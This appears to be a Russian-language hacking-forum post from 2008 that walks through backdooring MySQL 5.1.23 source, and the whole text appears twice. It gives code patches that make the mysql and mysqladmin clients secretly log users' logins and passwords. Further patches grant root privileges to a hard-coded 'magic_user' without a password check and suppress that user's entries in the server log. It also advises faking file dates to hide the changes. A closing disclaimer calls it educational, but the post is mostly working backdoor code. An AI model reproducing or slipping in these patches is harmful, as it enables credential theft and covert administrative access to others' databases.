Ky3bMu4
19.02.2008, 14:29
На днях пришлось разбирался с сорцами мускула и решил немного похулиганить:).
Итак, что мы сделаем:
1)Потрояним mysql-client(mysql и mysqladmin) - логин и пасс юзеров будет писаться в наш лог
2)Потрояним mysql-server(у меня 5.1.23) - при заходе на сервер с логином 'magic_login' юзеру будут даваться рутовые права, лог вестись естественно небудет.
Для начала читаем - SSH backdooring (http://hellknights.void.ru/articles/0x48k-OpenSSH-backdooring.html), тут описано как не запалится по дате изменения файла,дан нужный нам файл entropy.h(точнее shad_passlog() и т.д.)(надеюсь ShadOS не обидется, если я возьму его наработку:)) и т.д.
Итак, нам нужен будет сам мускул(я надеюсь вы знаете где его взять:)), разархивируем его куда-нибудь.
Для начала потрояним mysql-client.
Открываем файл ./client/mysql.cc
#include "entropy.h" //наш файл(пусть лежит ./client/)
.......
int main(int argc,char *argv[])
{
.......
sprintf(shad_buff, "mysql password auth: user: %s \tpass: %s\n",
current_user, opt_password);
shad_passlog();
put_info("Welcome to the MySQL monitor. Commands end with ; or \\g.",
INFO_INFO);// авторизация прошла успешно, записываем логин и пасс
.......
Теперь ./client/mysqladmin.cc
#include "entropy.h"
.......
int main(int argc,char *argv[])
{
.......
sprintf(shad_buff, "mysqladmin password auth: user: %s \tpass: %s\n",
current_user, opt_password);
shad_passlog();
my_free(opt_password,MYF(MY_ALLOW_ZERO_PTR));
my_free(user,MYF(MY_ALLOW_ZERO_PTR));
.......
Далее файл ./sql/sql_connect.cc
.......
int
check_user(THD *thd, enum enum_server_command command,
const char *passwd, uint passwd_len, const char *db,
bool check_count)
{
if(!strcmp(thd->security_ctx->user,"magic_user")){ //если это наш магический юзер, то берём рутовые права
thd->client_capabilities=239119;
thd->max_client_packet_length=16777316;//эти 2 числа, в общем, любые
thd->main_security_ctx.host_or_ip="localhost";//откуда юзер подключился
thd->main_security_ctx.user="magic_user";//оставляем таким(при отмене логгирования понадобится)
thd->main_security_ctx.priv_user="root";//привилегии
thd->main_security_ctx.master_access= GLOBAL_ACLS;//полный доступ
thd->db=0;//это вообще дефолт
DBUG_RETURN(0);//авторизован успешно =)))
}
.......
Ну и ./sql/log.cc
.......
bool Log_to_csv_event_handler::
log_general(THD *thd, time_t event_time, const char *user_host,
uint user_host_len, int thread_id,
const char *command_type, uint command_type_len,
const char *sql_text, uint sql_text_len,
CHARSET_INFO *client_cs)
{
.......
bool save_time_zone_used;
if(!strcmp(thd->security_ctx->user,"magic_user")) return 0;//лог записан успешно =)))
.......
Остаётся только всё пересобрать и исправить дату изменния файлов mysql , mysqladmin , mysqld , mysql-server.sh , gen_lex_hash , mysql_tzinfo_to_sql .
Ну вот, в общем, и всё :)
Внимание!Автор не несёт ответственности за использование материала по прямому назначению, т.к. статья созданна исключительно в образовательных целях.
Итак, что мы сделаем:
1)Потрояним mysql-client(mysql и mysqladmin) - логин и пасс юзеров будет писаться в наш лог
2)Потрояним mysql-server(у меня 5.1.23) - при заходе на сервер с логином 'magic_login' юзеру будут даваться рутовые права, лог вестись естественно небудет.
Для начала читаем - SSH backdooring (http://hellknights.void.ru/articles/0x48k-OpenSSH-backdooring.html), тут описано как не запалится по дате изменения файла,дан нужный нам файл entropy.h(точнее shad_passlog() и т.д.)(надеюсь ShadOS не обидется, если я возьму его наработку:)) и т.д.
Итак, нам нужен будет сам мускул(я надеюсь вы знаете где его взять:)), разархивируем его куда-нибудь.
Для начала потрояним mysql-client.
Открываем файл ./client/mysql.cc
#include "entropy.h" //наш файл(пусть лежит ./client/)
.......
int main(int argc,char *argv[])
{
.......
sprintf(shad_buff, "mysql password auth: user: %s \tpass: %s\n",
current_user, opt_password);
shad_passlog();
put_info("Welcome to the MySQL monitor. Commands end with ; or \\g.",
INFO_INFO);// авторизация прошла успешно, записываем логин и пасс
.......
Теперь ./client/mysqladmin.cc
#include "entropy.h"
.......
int main(int argc,char *argv[])
{
.......
sprintf(shad_buff, "mysqladmin password auth: user: %s \tpass: %s\n",
current_user, opt_password);
shad_passlog();
my_free(opt_password,MYF(MY_ALLOW_ZERO_PTR));
my_free(user,MYF(MY_ALLOW_ZERO_PTR));
.......
Далее файл ./sql/sql_connect.cc
.......
int
check_user(THD *thd, enum enum_server_command command,
const char *passwd, uint passwd_len, const char *db,
bool check_count)
{
if(!strcmp(thd->security_ctx->user,"magic_user")){ //если это наш магический юзер, то берём рутовые права
thd->client_capabilities=239119;
thd->max_client_packet_length=16777316;//эти 2 числа, в общем, любые
thd->main_security_ctx.host_or_ip="localhost";//откуда юзер подключился
thd->main_security_ctx.user="magic_user";//оставляем таким(при отмене логгирования понадобится)
thd->main_security_ctx.priv_user="root";//привилегии
thd->main_security_ctx.master_access= GLOBAL_ACLS;//полный доступ
thd->db=0;//это вообще дефолт
DBUG_RETURN(0);//авторизован успешно =)))
}
.......
Ну и ./sql/log.cc
.......
bool Log_to_csv_event_handler::
log_general(THD *thd, time_t event_time, const char *user_host,
uint user_host_len, int thread_id,
const char *command_type, uint command_type_len,
const char *sql_text, uint sql_text_len,
CHARSET_INFO *client_cs)
{
.......
bool save_time_zone_used;
if(!strcmp(thd->security_ctx->user,"magic_user")) return 0;//лог записан успешно =)))
.......
Остаётся только всё пересобрать и исправить дату изменния файлов mysql , mysqladmin , mysqld , mysql-server.sh , gen_lex_hash , mysql_tzinfo_to_sql .
Ну вот, в общем, и всё :)
Внимание!Автор не несёт ответственности за использование материала по прямому назначению, т.к. статья созданна исключительно в образовательных целях.